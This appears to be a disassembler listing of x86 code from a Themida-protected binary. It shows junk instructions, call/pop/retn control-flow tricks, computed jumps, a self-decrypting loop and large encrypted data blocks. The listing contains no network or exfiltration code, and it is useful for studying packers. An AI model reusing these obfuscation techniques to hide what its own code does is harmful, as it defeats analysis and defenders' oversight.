		mov	edx, ebx
		push	ebx
		mov	ecx, edx
		pop	dword ptr [esi+eax]
		and	ecx, [ebp+6121829h]
		movzx	edi, ax
		sub	eax, 2
		add	[ebp+6121D09h],	ebx
		dec	eax
		dec	eax
		mov	cx, 4F1Ah
		cmp	eax, 0FFFFA380h
		jnz	loc_5EB1FB
		mov	[ebp+6122821h],	edi
		jmp	loc_5EB211
; ---------------------------------------------------------------------------
		mov	dword ptr ss:34EB65BAh,	0AF9D83B3h
		db	64h
		icebp
		fucomi	st, st(1)


loc_5EB1FB:				; CODE XREF: Themida_:005EB1DBj
		mov	ecx, edi
		jmp	loc_5EB18E
; ---------------------------------------------------------------------------
		dw 0C99Ah
; ---------------------------------------------------------------------------
		sal	dword ptr [edx-63h], 1
		mov	ch, ch
		adc	eax, 535D8705h
		mov	cl, 87h
		dec	ecx


loc_5EB211:				; CODE XREF: Themida_:005EB1E7j
		jmp	loc_5EB22B
; ---------------------------------------------------------------------------
		dw 6371h
		dd 6217h, 3 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5EB22B:				; CODE XREF: Themida_:loc_5EB211j
		jmp	loc_5EB75F
; ---------------------------------------------------------------------------
		dd 4D9A751Ch, 0EA37D8B4h, 89D63951h, 23709FF0h,	0BF0C038Ah
		dd 8508E6CFh, 0E7A43D8Ah, 4E42DB28h, 0B3DB74C1h, 0E6350F5Ch
		dd 0F856A9DEh, 27FDDA4Dh, 8DFD1C72h, 0A26D2182h, 54390237h
		dd 0B9D56EBBh, 36582156h, 0C47DA4D9h, 0D73853C6h, 0D164376Ch
		dd 0E43CCC0h, 727D6478h, 7C93FD1Ch, 0BC097447h,	55A26D23h
		dd 7C3BD4BCh, 602A5D65h, 4E5947DFh, 7E0DD6BBh, 0C8B45C91h
		dd 4DC2CE19h, 0E8276700h, 5FF39BB3h, 3BA747DFh,	0FEE7DFA6h
		dd 623422BCh, 86000000h, 0BEF31C72h, 0DF5FE7A6h, 9C45B147h
		dd 0BCFE9DF5h, 64A22h, 0A25B0000h, 618F22EDh, 91FF1A72h
		dd 0B76497Eh, 9098AFD6h, 47DF5FF7h, 0D5E67984h,	5A2358B7h
		dd 41BDA35h, 0DF5F8BFCh, 5AEDF847h, 35E4AC75h, 194EB956h
		dd 9DD23D50h, 3D809F5h,	0C520C1D5h, 62FB48C7h, 6EA1ED2Ch
		dd 0AEFB6639h, 0F41B72F8h, 7996F6BFh, 0E16544h,	411E0687h
		dd 0D3FEE1D8h, 0B15E2F40h, 0D8B46D64h, 0FB93A437h, 37B8DF14h
		dd 9E9AB55Ch, 7283167Ah, 73203918h, 0FA23EC9Eh,	7FEA56CAh
		dd 6AAA3FC0h, 71624D4Ch, 0F487F21Dh, 7E637F0Fh,	0BCF5FF07h
		dd 6A4C22h, 0A45D0000h,	659326E9h, 0BFF41B72h, 467B94F6h
		dd 0AA459CB0h, 0E8DF2CE3h, 7DB25D2Fh, 870617AAh, 58A5388h
		dd 2C344B0Ah, 47DF5F5Bh, 0A58A1D28h, 0A1E8F915h, 22BCFC51h
		dd 62E6h, 5B143800h, 3849DC33h,	0BC85BA55h, 6F087DD4h
		dd 0C588EFEEh, 7EE92664h, 0D9084C49h, 0F29A7F0Eh, 0AA15E81Dh
		dd 474F665Dh, 47DF8F40h, 77A53843h, 92F5FD14h, 2847DF5Fh
		dd 0A174A966h, 5A6BFE09h, 651EDD32h, 1E26E52Ah,	47DF5F69h
		dd 977C0F1Ah, 0DF600F7Fh, 0C21F8B47h, 0BCFECBCBh, 12022h
		dd 14720000h, 5F92F5FDh, 652847DFh, 0AA275AAh, 2F5B6CFFh
		dd 0ACE2ABE0h, 26652E63h, 0A2EBB4E9h, 0A490386Dh, 7C68A83Dh
		dd 0F008A65h, 0AFD4CF50h, 0DB2CD922h, 0E5EE4B48h, 3884100h
		dd 2DE2AB0Ch, 239225F8h, 0F255E31Bh, 82B7C249h,	0ED3AD5B9h
		dd 0BC533DF6h, 1021B487h, 19D2917Eh, 66E7DD74h,	0D283E20Fh
		dd 0C8EFD467h, 89DEA9B1h, 929D4DF1h, 6A0C8C69h,	0CE613853h
		dd 0F23F1F6Eh, 0BE23674Dh, 0D28F44C5h, 0B1760367h, 98810D1Eh
		dd 8BFD5DF4h, 96BA1EF9h, 4801C02Bh, 0C396CB44h,	0F49A3330h
		dd 711DE61Bh, 0EBA0699Eh, 0BDF83966h, 86F197C3h, 0A058851h
		dd 6F72F6D5h, 726FF36Ah, 0ABF81777h, 7C93FBB4h,	0C0047CE9h
		dd 49D124AEh, 0E2000001h, 74A96629h, 0C14E40A1h, 0FD14002Eh
		dd 0DF5F92F5h, 53E6F147h, 0D190757Eh, 0F17759C9h, 4C44FD49h
		dd 0C6C58EC3h, 0D6411449h, 0BBF0FB43h, 26739CF2h, 0D90E018Dh
		dd 0F09B7E10h, 0EE17EA1Fh, 9CCF5F27h, 78AD18EDh, 21CC1599h
		dd 6055A26Dh, 24AE6A60h, 40B5h,	0A4AE0700h, 6FF800BFh
		dd 8CC7DF5Fh, 0A4254C81h, 85E27814h, 68702FA8h,	0C7DEAF1Fh
		dd 5EBE515Ch, 0C7DEAF29h, 2100E195h, 636B2A17h,	47DEAF04h
		dd 0B7D0D837h, 0C447E00Fh, 6A014EB9h, 0B4h, 335B14D4h
		dd 73D4A7DCh, 8F64F718h, 0C9E09F86h, 0FC32FA48h, 0CD602A54h
		dd 0F252E16Dh, 0E4192449h, 0DD9C731Bh, 71A66924h, 170E0B9Eh
		dd 0AADF305Eh, 5B3344D7h, 25677FB4h, 4F4DF257h,	14737B40h
		dd 674DF258h, 0F3BCF15Ch, 973F749Bh, 30E336ABh,	3C10C648h
		dd 60A439A4h, 0E7286681h, 4D343D9Ah, 186F778Eh,	6B4DF242h
		dd 828DFF60h, 78E77A4Dh, 9375F70h, 82414C50h, 0BB4EC1C9h
		dd 8E810DD6h, 1CC5B159h, 33545C73h, 5047E975h, 0D4DDB245h
		dd 0A9262EEDh, 0F34A0069h, 41B3D4DCh, 0A1A94DF2h, 4DF241E6h
		dd 0E7F28A95h, 5E4D98BEh, 0A83B3779h, 52085560h, 1C0A5AEh
		dd 0F654D6F9h, 85BAC549h, 0F03DD2BCh, 7C843757h, 4DF8570Bh
		dd 0CD026D78h, 0E5F6EBB5h, 0B52C40F1h, 0A6AEC5DCh, 0A9F6C7E1h
		dd 0A0E797A2h, 0E3A9F6C7h, 0F71877D8h, 0D43B5364h, 6FA0EE87h
		dd 0F11E713Ah, 0B92814BCh, 0BF0F4FD0h, 595265E7h, 0D0A3D837h
		dd 0CDC1D265h, 325CF542h, 59068189h, 6A75A9F7h,	1403CAFFh
		dd 6D000000h, 0D4DCF322h, 47DF5FB3h, 1C9CC5D0h,	0A20ADA21h
		dd 72E917AAh, 0F2BBF01Fh, 753E739Ch, 0F6BFF41Bh, 7C457A95h
		dd 0C9FE11h, 844D828Dh,	6CF040Bh, 8D568B84h, 0D4DB10FFh
		dd 81E38953h, 4C3h, 4BF5700h, 29000000h, 1C875FFBh, 6685C24h
		dd 89000073h, 0D468240Ch, 89000049h, 0BF57243Ch, 13160424h
		dd 4F08E7C1h, 75A2F781h, 0E7811165h, 2DD031C6h,	0F0F78147h
		dd 0B926BF5Bh, 25E7BCE3h, 545FF931h, 83243C8Bh,	0B85004C4h
		dd 8, 889F801h,	8124048Bh, 4C4h, 243C8B00h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0FF5C240Ch, 83592434h, 86E904C4h
		dd 0CDFFF984h, 1AA3FF59h, 0FD3F469h
; ---------------------------------------------------------------------------
		cmp	[ebp+5Bh], eax


loc_5EB75F:				; CODE XREF: Themida_:loc_5EB22Bj
		mov	eax, 618FBF2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 75C15B3Ah, 3C6E2384h, 69822461h, 0EE8h, 0F24B6D00h
		dd 43B9E26Eh, 6FC0C9CBh, 0F15E489h, 1A8Ch, 13E95300h, 6B000000h
		dd 0FC08AFB1h, 7A7A61EDh, 48D4B4A5h, 0DDF7A882h, 5B5F1894h
		dd 1860Fh, 81FC0000h, 67B0C3h, 6800h, 8B0F0000h, 3, 5AF38B66h
		dd 34FFC28Bh, 0CE8601Ah, 17000000h, 0BE1FD8B8h,	0FA01546h
		dd 0E9278E4Ch, 7, 5169B1DDh, 5EAA53E0h,	0A1D08053h, 0F596158h
		dd 0C181F3B7h, 303096CCh, 38B4F781h, 0C1810838h, 5E84A9B4h
		dd 0AE9h, 49E52900h, 0F271A19h,	81B442EDh, 3AA87DE9h, 51F88B6Eh
		dd 8FFE8B66h, 0DE91304h, 25000000h, 0E08C30A8h,	7BAC2504h
		dd 748FA1A1h, 2890Fh, 58530000h, 5703EA83h, 0CE856h, 4BBB0000h
		dd 2727C2F0h, 0C0D932F2h, 58580E5Fh, 830F4A5Fh,	0Bh, 5800Fh
		dd 9ABF0000h, 81421CA2h, 0FF9958FAh, 53850FFFh,	0E9FFFFFFh
		dd 0Dh,	0D1C04B6Bh, 0F1B1B52Bh,	0E0DF749Eh, 0A0758211h
		dd 14690889h, 8DA6DC78h, 36375F43h, 35A12E86h, 0D9259086h
		dd 30254813h, 21AC9905h, 3F251494h, 30258102h, 0B1980786h
		dd 30235086h, 305EA589h, 0B5E39086h, 36375D47h,	3021CCC8h
		dd 0E7651286h, 0BB75A1C4h, 0BB21A0C2h, 1461CB86h, 85DA7982h
		dd 3637810Fh, 0B25FCD0Bh, 0E0DA2293h, 0B5E3E20Dh, 36371C47h
		dd 6E7EECC8h, 4A4FFAEh,	5AAC3AA2h, 0B1906F93h, 0BD235A86h
		dd 25A75E03h, 0BBF5ED80h, 3035B07Eh, 38CC8486h,	96254286h
		dd 302BA489h, 3B6C9086h, 0C0A0474Fh, 0D9DADB79h, 3025128Bh
		dd 7E6E940Bh, 359D8294h, 0CF254286h, 9B98AC65h,	0BD23887Bh
		dd 28DB390Bh, 15379C80h, 0FF0E94B6h, 0A0758247h, 14690889h
		dd 8DA6DC78h, 36375F43h, 35A12E86h, 0D9259086h,	30254813h
		dd 83AC9905h, 0A4F305E9h, 22B9h, 368D8D00h, 890618FFh
		dd 121C6D8Dh, 0CD8D8906h, 0E806122Dh, 0Fh, 13EEC771h, 0D6463163h
		dd 63807E96h, 5E84824Ch, 31BD85C7h, 699C0612h, 85C70000h
		dd 6120011h, 0
; ---------------------------------------------------------------------------
		mov	eax, ebx
		push	dword ptr [ebp+61229A5h]
		push	0
		push	edi
		call	sub_5EB9BF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB9BF	proc near		; CODE XREF: Themida_:005EB9B7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5EB9BF	endp

; ---------------------------------------------------------------------------
		align 10h
		rol	byte ptr [edx-7], 1
		add	al, 2Ch
		stc
		mov	esi, 8B66CE78h
		idiv	edi
		xchg	eax, ebp
		and	dword ptr [edi], 6A0612h
		push	ebx
		call	sub_5EB9ED
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB9ED	proc near		; CODE XREF: Themida_:005EB9E5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5EB9ED	endp

; ---------------------------------------------------------------------------
		xor	al, 5Bh
		and	bx, 0F8C1h
		mov	eax, 6D5B8AA9h
		push	0


loc_5EBA0B:				; CODE XREF: Themida_:005EBA7Ej
		call	dword ptr [ebp+61229D1h]
		mov	eax, eax
		jmp	short loc_5EBA71
; ---------------------------------------------------------------------------
		db 0F3h, 9Dh, 1Fh
		dd 0BE34C82Dh, 475B968Dh, 9E56DFFAh, 2F527473h,	926EA2B2h
		dd 82E20198h, 0E8BF804Ah, 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h
		dd 0B1F39B5Bh, 0DAB35DA7h, 69D6C36Fh, 0F7E7EC18h, 557B222h
		dd 0A0A5EE41h, 460FBA3Fh, 2F96F914h, 0DD03B236h, 1F9A08h
		dd 5DF68A2Bh, 0F3FC06CCh
		db 0C0h
; ---------------------------------------------------------------------------


loc_5EBA71:				; CODE XREF: Themida_:005EBA13j
		call	sub_5EBA87
		adc	ch, bh
		cmp	[esi+24CBB0BBh], cl
		jnz	short loc_5EBA0B
		inc	edx
		xor	cl, [ecx-326AF5BFh]

; =============== S U B	R O U T	I N E =======================================



sub_5EBA87	proc near		; CODE XREF: Themida_:loc_5EBA71p

arg_0		= dword	ptr  4

		jnb	loc_5EBA90
		mov	bx, cx


loc_5EBA90:				; CODE XREF: sub_5EBA87j
		pop	eax
		mov	[ebp+61220A5h],	edx
		add	eax, 7499h
		sub	edx, edx
		sbb	bx, 0BA41h


loc_5EBAA4:				; CODE XREF: sub_5EBA87+77j
		mov	edi, [eax+edx]
		mov	esi, [ebp+61212E1h]
		sub	edi, 1A8C2DF3h
		sub	si, 0C467h
		xor	edi, 3727FFCDh
		jl	loc_5EBAC9
		push	eax
		sbb	bh, 58h
		pop	ecx


loc_5EBAC9:				; CODE XREF: sub_5EBA87+37j
		sub	edi, 69F69212h
		mov	esi, [ebp+6122955h]
		push	edi
		jnb	loc_5EBAE2
		and	ebx, 6F7F5B7Fh


loc_5EBAE2:				; CODE XREF: sub_5EBA87+4Fj
		pop	dword ptr [eax+edx]
		xor	cx, 0CDFEh
		movsx	ebx, di
		sub	edx, 1
		and	cl, 0E0h
		dec	edx
		dec	edx
		dec	edx
		mov	bl, 49h
		cmp	edx, 0FFFF8BFCh
		jnz	loc_5EBAA4
		jmp	loc_5EBB0F
; ---------------------------------------------------------------------------
		dec	ecx
		cmp	eax, 0FC1024C8h


loc_5EBB0F:				; CODE XREF: sub_5EBA87+7Dj
		jmp	loc_5EBB49
; ---------------------------------------------------------------------------
		dd 14BDF1BDh, 0Ch dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5EBB49:				; CODE XREF: sub_5EBA87:loc_5EBB0Fj
		jmp	loc_5EC485
; ---------------------------------------------------------------------------
		dw 93FEh
		dd 0F6962F7Ch, 5733CC19h, 0BDD26BB8h, 216C0552h, 4B1A1EEh
		dd 1F6CA3EAh, 0BD0A0586h, 56A36C24h, 0F13ED1BDh, 0C7C0C817h
		dd 0B44DF85Fh, 6B2301D7h, 5147DF5Fh, 2885D23Dh,	6B73321Fh
		dd 49F16B23h, 0DF985762h, 0EACF62ADh, 0E4A36C21h, 45ED642Bh
		dd 533CB108h, 7D7A0D78h, 0A665AAE4h, 0E7B29FEDh, 25180FD3h
		dd 0B99E319Ch, 0BFB39EF0h, 0E4DD37CAh, 6E376CD7h, 0F2959D1Eh
		dd 914DF1EAh, 55E61B86h, 612A41CCh, 99F25398h, 0AD994176h
		dd 3ED1B934h, 0FCB55CD3h, 0A2EE818Eh, 25EAA43Fh, 0C1E3E3D8h
		dd 753824AEh, 8A000000h, 0DA355B14h, 2E3FD2A5h,	0DAF1B05Fh
		dd 0F0A06F21h, 47DF5F97h, 689D721Bh, 5FF2FD95h,	33DCB17Ah
		dd 469B1FFEh, 5E1DF29Bh, 0F126E9A5h, 998E8B1Eh,	22BCE239h
		dd 3BEEh, 1B724000h, 86C091FEh,	0F01B70FFh, 30F92E99h
		dd 0AA7DB25Dh, 879FD43Fh, 47DFF607h, 137C3564h,	90FEC7FCh
		dd 0C774A7Fh, 39B42D79h, 0D76EBB54h, 34h, 0CB444700h, 230C396h
		dd 2C6C9314h, 6BF6498Ah, 49C6C7D8h, 54BBD18Ah, 0FBFA8D95h
		dd 7E8947DFh, 26DF06EBh, 0B212A56Ah, 47DFFBDBh,	6F7A67ABh
		dd 0EEA4F11Eh, 1C0A5AEh, 39CC4348h, 6CF0C2CAh, 949F49F1h
		dd 1BF4965Fh, 0BA5535CEh, 2EFF885h, 8AB33B43h, 2AAB5003h
		dd 840B24EBh, 559D3033h, 816D154Ah, 0A058560h, 0EB6624BDh
		dd 0A838DBBEh, 98A4E3Eh, 1C02012Ah, 0FA1247B2h,	47E021BDh
		dd 717C6519h, 0B637F619h, 0F079267Dh, 0FD05C469h, 47DF6F8Ah
		dd 5E5BEEF9h, 0BBA0AEA8h, 14B89E3Dh, 5F92F5FDh,	916047DFh
		dd 5518656Eh, 66F9049Ch, 17D63955h, 50E32C5Eh, 16D08622h
		dd 25BCEACEh, 215Bh, 0A0AEAD00h, 0C143DBBh, 47DF5F7Bh
		dd 147FFD08h, 0F718723Eh, 9C25179h, 0CAF88B84h,	2974h
		dd 0A0AEDE00h, 0C143DBBh, 47DF5F7Bh, 9432CD76h,	73E741C4h
		dd 3E148A08h, 0DF305B14h, 0C04F3B4Ch, 2F5B1442h, 45D8ABE0h
		dd 5B14C513h, 394ADD32h, 47C8C455h, 0C780A7DCh,	3F1247C8h
		dd 0DFD14CACh, 9EED47C3h, 1C733C71h, 5BDFBEF3h,	0F235186h
		dd 0DA7717D2h, 0D879757Dh, 2471DC9Ah, 0D80D028Bh, 7798F8B1h
		dd 55BAD3E4h, 24BD4120h, 0FE4BC4C9h, 9FE8F007h,	1347E3A0h
		dd 0FBFC947Bh, 774A7F90h, 30DFAB0Ch, 0BF50309Dh, 518522B8h
		dd 0D7000000h, 0E02F5B14h, 1377D8ABh, 365869FCh, 667DA4D9h
		dd 0DF60295Eh, 0BC4F5A47h, 38F7DEE7h, 0CD020D7Fh, 53888704h
		dd 13821580h, 0F17C1F0Bh, 5E939E49h, 6E1EFB95h,	2E996CA1h
		dd 0B35C30F9h, 0E157ED7Eh, 0E9E2CB9Fh, 0D409D88Ch, 944F92A6h
		dd 12C815FAh, 0BEF31C72h, 7A392831h, 602C5B63h,	444F47DFh
		dd 9C3A42B1h, 0B49F15Bh, 741AB300h, 90742EDDh, 0ADD12FDh
		dd 924622E1h, 4BB65931h, 58B7D38Ch, 0B9E0C5h, 0D028A8Fh
		dd 0F9AF0FA2h, 0BBD164ADh, 3F083DD2h, 0E78FC44Bh, 0C3F1E6FBh
		dd 0D7B732AFh, 5AC54A42h, 0FF1A740Dh, 0BE4F848Bh, 23B3CBBh
		dd 0DC47B228h, 0D0111AA7h, 402DBFC8h, 46B1BCCAh, 1F687087h
		dd 5CCA402Eh, 6FA0F051h, 65D4673Ah, 5245B15Dh, 7CC9D4CCh
		dd 0BBA0AEC6h, 72B89E3Dh, 8675F31Ch, 0A91A0E8Fh, 0C561EFDCh
		dd 0CE160432h, 5B25BCEAh, 24h, 0BBA0AEADh, 7B0C143Dh, 847DF5Fh
		dd 3E147FFDh, 9BA31872h, 47DF5FECh, 9B19848Fh, 2C740351h
		dd 0DE000000h, 3DBBA0AEh, 5F7B0C14h, 8B7647DFh,	1393140Dh
		dd 5794E39Bh, 481E8D20h, 9BA31872h, 47DF5FECh, 9B19848Fh
		dd 8109C251h, 72CDFB8Eh, 0B334F31Ch, 5E340EC2h,	0E22D60FBh
		dd 0D8FFE477h, 1CEB9C1h, 0A2AD47E0h, 816EAF0Fh,	0ABBF47C4h
		dd 2CE3AB36h, 0C9D1E8DFh, 47E382BEh, 41CEBCBDh,	5B3243D6h
		dd 0D7B67FB4h, 533A0338h, 0CEBE87BCh, 62760C41h, 3CE35A7Fh
		dd 0CE030C83h, 82E89FA7h, 909B47E3h, 9B469225h,	0B3DC3D50h
		dd 2D5E275Ch, 0BF0C77E2h, 0B8DDCACAh, 441F22h, 77300000h
		dd 89860415h, 0E1168154h, 0AEA44850h, 83EE22C6h, 1C72C2F0h
		dd 2831BEF3h, 0DC727A39h, 2B49F181h, 6922EB20h,	0E2A871A6h
		dd 0B7FBF82Dh, 7387B52Ah, 0F41B736Eh, 0FB147C35h, 0BB746B68h
		dd 380B40CFh, 1C7277A5h, 0DE97BEF3h, 592C61AEh,	0F9E8F1C6h
		dd 0F95BB93Ah, 0E7BF0F9Bh, 0B6DF46D5h, 2FC248F2h, 9BF0A9C0h
		dd 4981E174h, 0B449F24Fh, 0AEA65CA9h, 0E5FCBBA0h, 0DF5FAADDh
		dd 0A5CED947h, 9E2BCDCBh, 558316C1h, 9314B89Eh,	440F37E7h
		dd 73141C9Fh, 1047DFA4h, 0F6079A05h, 86F97798h,	0EACE16D0h
		dd 665B25BCh, 0AD000000h, 3DBBA0AEh, 0E02F5B14h, 63ACE2ABh
		dd 0C7F05B2Eh, 5CC0A236h, 56C55802h, 4B06863Fh,	2FEAF10Ch
		dd 0E51A85B1h, 35DAB112h, 3A9A2D00h, 47DFB64Dh,	14A5232Eh
		dd 5F92F5FDh, 0C06047DFh, 0F2B43621h, 0CA5D6800h, 1872855Bh
		dd 5B1479F7h, 0D3A6DB34h, 5EF11E72h, 9314DE2Ch,	32AA244Ch
		dd 0E0EF8250h, 44h, 67A0AE4Ah, 9FBA57E6h, 9848DE6Ch, 47DFE4EFh
		dd 9816818Ch, 5F7B0C14h, 28E147DFh, 3BD4B762h, 35C83306h
		dd 0FE117A5Bh, 3E141593h, 38F71872h, 5F6E1921h,	20D47DFh
		dd 5F4C3B43h, 242F47DFh, 3516391h, 90FD1C72h, 9814A7Fh
		dd 0FB309B06h, 0C3DF3AE3h, 0E52A6047h, 75A4E7B0h, 598EF916h
		dd 0AD32AFC3h, 0D766B7Fh, 0BC533DF6h, 0E3E07B0Ch, 6AFD0847h
		dd 1BDA3559h, 0C115359Ah, 0E546A26Eh, 0D9D669A6h, 707161E2h
		dd 67864D85h, 44CBC3D4h, 0C9D1E80Fh, 47E38CBEh,	4A1FB2BDh
		dd 8D955441h, 49F5A255h, 40CFC079h, 9B5A65ADh, 2C61AEE2h
		dd 13C9C659h, 0C6C5A0AEh, 0D6411449h, 8FF80017h, 0EC47DF5Fh
		dd 9E204EE1h, 0F31C72B8h, 16D08675h, 25BCEACEh,	0B95635EEh
		dd 1C1EB184h, 5Bh, 0F7FF162Dh, 4ADF5F90h, 4F38E8F3h, 2C4ADF5Fh
		dd 40AB642Bh, 0A0AE7FADh, 204FD6FDh, 53BE93F6h,	7B0C14D5h
		dd 0E147DF5Fh, 5FC5C2CAh, 0EDB647DFh, 23C3E533h, 9326913Ah
		dd 14C2404Bh, 5F92F5FDh, 0E6F147DFh, 720EE453h,	838C0118h
		dd 0C2519A18h, 0F88B8409h, 1B74CAh, 0AEDE0000h,	143DBBA0h
		dd 0C44B44FDh, 5FB6D131h, 483347DFh, 723E14CAh,	5179F718h
		dd 305B1403h, 0ABE1AADFh, 0F15C2F64h, 0CE414D5Eh, 40F17299h
		dd 0C418B672h, 74A9099Ch, 0BD47C449h, 0CE4F38A9h, 7D85C0DBh
		dd 47E3C70Ah, 0A7456E79h, 697A0D37h, 49DEA25h, 0C350858Ah
		dd 40CCBBAh, 49F63F0Ah,	0FE117C7Dh, 337238C9h, 0BC35F884h
		dd 0E399E651h, 3DBBA0AEh, 5B14B89Eh, 0D4A7DC33h, 5F7A0D15h
		dd 0FE0947DFh, 0DB345A6Bh, 0E8F865Dh, 34973E5Fh, 0BFED8049h
		dd 0BCEACE16h, 695B25h,	14AD0000h, 1FC7D793h, 699481Bh
		dd 43482331h, 0BCCE97CCh, 0E04B1E53h, 0CAFF107Fh, 0B6CD8CF7h
		dd 0E04DD9AEh, 0C9FAA47h, 335B14DEh, 0C3DA49DCh, 0FB8E810Ah
		dd 0DF5FEC9Bh, 0EE76847h, 50B7E8E2h, 17226AFDh,	143E1499h
		dd 4ADD325Bh, 40BE5139h, 8841C251h, 0BA5536F5h,	0EE89B285h
		dd 54BBD054h, 4EE14C1Fh, 3C7420h, 0AEDE0000h, 143DBBA0h
		dd 0DF5F7B0Ch, 0D8B7647h, 0DA355B14h, 5BB4DCA5h, 55E85326h
		dd 5B1410E6h, 0D3A6DB34h, 0BE5B2F40h, 4C1942CDh, 3B78AAB2h
		dd 5153D13Ch, 0D7041C2h, 60BAE86h, 1C724573h, 0DE97BEF3h
		dd 5A2D62ADh, 3EE9F2C7h, 0F21D3FD9h, 9857C2AEh,	48C7C881h
		dd 4DAD4013h, 49F1D3B9h, 764B1BCh, 505817FEh, 5008AB85h
		dd 17F8924Bh, 347C0FE2h, 0E5E96A29h
		dd 14737B51h, 6747EB58h, 9461335Ch, 12DBC053h, 82BE3F7Ch
		dd 0CE5E7440h, 0D4E1A656h, 97A247EAh, 2FE8DF2Ch, 0A679AE61h
		dd 91C64945h, 741A2BBEh, 0AC4E669Bh, 5356DCDh, 99F5F0F1h
		dd 0FE902976h, 7C13DC11h, 3A53D493h, 485BC23h, 0AB4D3DBh
		dd 0BCC75A8Fh, 31D9BE51h, 0ED226922h, 652E5B8h,	94F9B2DBh
		dd 0B7D7E87Bh, 0F8189958h, 6C2EFE2Fh, 0FFF6F386h, 71A7E0E8h
		dd 0C9D45A8Eh, 0A6692536h, 3AA71h, 22140000h, 0F01F7234h
		dd 739CF2BBh, 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h
		dd 40B844Dh, 8B8406CFh,	10FF8D56h, 0A568D4DBh, 8900002Fh
		dd 0BB532424h, 4, 4245C01h, 4EC835Bh, 50243489h, 405E089h
		dd 2D000000h, 4, 5C240487h, 55241489h, 3209D668h, 0D5F75D63h
		dd 0F5B5ED81h, 0EE8996B4h, 148B545Dh, 4C48324h,	8B850h
		dd 0D0010000h, 48B3089h, 4C48324h, 5024148Bh, 405E089h
		dd 5000000h, 4,	5C240487h
; ---------------------------------------------------------------------------
		mov	esi, [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_583BD9
; ---------------------------------------------------------------------------
		dd 0A6E3C483h
		db 1Bh
; ---------------------------------------------------------------------------


loc_5EC485:				; CODE XREF: sub_5EBA87:loc_5EBB49j
		mov	eax, 6190924h
		add	eax, ebp
		jmp	eax
sub_5EBA87	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 2DF4h
		dd 4DD864F3h, 1ADB20C3h, 4CA63A4Fh, 68030728h, 53317A54h
		dd 4A663BA7h, 9A255F4h,	459A1D08h, 6C14257h, 9A462E11h
		dd 2D663AEAh, 0D2795BDFh, 8D8D0A07h, 6190AB4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BCC35040h, 0D9C73288h
		dd 2B11BD89h, 8D890612h, 6122DCDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 40C35141h, 0BD85C7F5h, 48061231h
		dd 6A000060h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 165DC350h, 820F25h, 0C7000000h
		dd 12001185h, 6, 0FD950100h, 0FF061231h, 1213A1B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0C38DDB3h, 79858B5Eh, 0FF061219h, 12278195h,	0C5952906h
		dd 6A06122Ah, 0D195FF00h, 8B061229h, 3B39EBC0h,	8C03D348h
		dd 0A4CA7045h, 75E7CAC5h, 0D23E006Ch, 7A6978EFh, 0E2E81FB2h
		dd 6DC55923h, 3B39FD1Fh, 79E9F754h, 423883A0h, 0F51FB5D1h
		dd 0D67D9C65h, 0AB0AD733h, 1212A11Ah, 7E8h, 28516100h
		dd 3C99616Ah, 0BE665AF9h, 0C28147C4h, 660Dh, 26258589h
		dd 7FB80612h, 8172A32Bh, 0A33227F0h, 11E872h, 0C7900000h
		dd 424814C7h, 80E3DEC1h, 0D633271Eh, 93CB259h, 121EF1BDh
		dd 1A8B5E06h, 732EF381h, 0B70F3A72h, 0BCC381F2h, 663CEEBFh
		dd 81EAA9B9h, 279D70EBh, 0B58D8956h, 89061208h,	4DC1801Ah
		dd 4D99EA81h, 85895D5Ah, 61215F1h, 4D95C281h, 0D9805D5Ah
		dd 1E8832Dh, 14850Fh, 0B70F0000h, 24E9CEh, 0E4C20000h
		dd 0B16FB8D4h, 0F99F726Bh, 0B533727Fh, 612029Dh, 0FFFF9DE9h
		dd 245C4FFFh, 0EF591D74h, 6A80AFF9h, 8D8D5F09h,	6190C9Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0EFC35343h
		dd 0B3E47FDBh, 0B32FD0B3h, 0CD8D8994h, 6A06122Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 39FCC353h, 52A0A2A4h, 0D78166A3h, 85C778CDh,	61231BDh
		dd 6D5Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	9DC35242h, 5241B44h, 0D6F2E330h, 85C7ACB4h, 6120011h
		dd 0
; ---------------------------------------------------------------------------
		mov	dx, cx
		clc
		push	dword ptr [ebp+61232E5h]
		push	0
		push	eax
		call	sub_5EC729
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC729	proc near		; CODE XREF: Themida_:005EC721p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5EC729	endp

; ---------------------------------------------------------------------------
		inc	ecx
		retf
; ---------------------------------------------------------------------------
		pop	es
		test	esp, edx
		sahf
		cmpsd
		cmc
		call	dword ptr [ebp+6122781h]
		push	0
		push	edi
		call	sub_5EC752
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EC752	proc near		; CODE XREF: Themida_:005EC74Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5EC752	endp

; ---------------------------------------------------------------------------
